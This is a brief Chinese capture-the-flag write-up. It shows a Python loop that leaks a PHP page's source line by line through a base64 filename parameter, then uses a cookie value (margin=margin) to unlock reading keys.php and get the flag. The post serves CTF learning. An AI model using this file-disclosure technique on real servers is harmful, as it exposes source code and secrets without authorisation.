打开题目可以看到一堆乱码毫无规律
之后发现网址中有一串base64编码a2V5cy50eHQ=
解码得到:keys.txt
再尝试用 filename访问index.php(原url使用base64,这也将index.php进行编码)
line应该是行数那么就从0开始试发现每增加一个数字都有所不同
这样一个一个试太麻烦,直接用脚本将源码跑出来
1 2 3 4 5 6 import requests a = 30 for i in range (a ): url = "http://114.67.246.176:16736/index.php?line=" + str(i) + "&filename=aW5kZXgucGhw" s = requests.get (url) print(s.text)
得到以下代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 <?php error_reporting (0 ) ;$file=base64_decode(isset($_GET['filename' ])?$_GET['filename' ]:"" ); $line=isset($_GET['line' ])?intval($_GET['line' ]):0 ; if ($file=='' ) header("location:index.php?line=&filename=a2V5cy50eHQ=" );$file_list = array( '0' =>'keys.txt' ,'1' =>'index.php' ,); if (isset($_COOKIE['margin' ]) && $_COOKIE['margin' ]=='margin' ){$file_list[2 ]='keys.php' ; } if (in_array($file, $file_list)){$fa = file($file); echo $fa[$line]; } ?>
发现只用构造cookie:margin=margin就可以了
值得注意的是
这里需要改成keys.php的base64编码
这样flag就到手了
又是收获知识的一天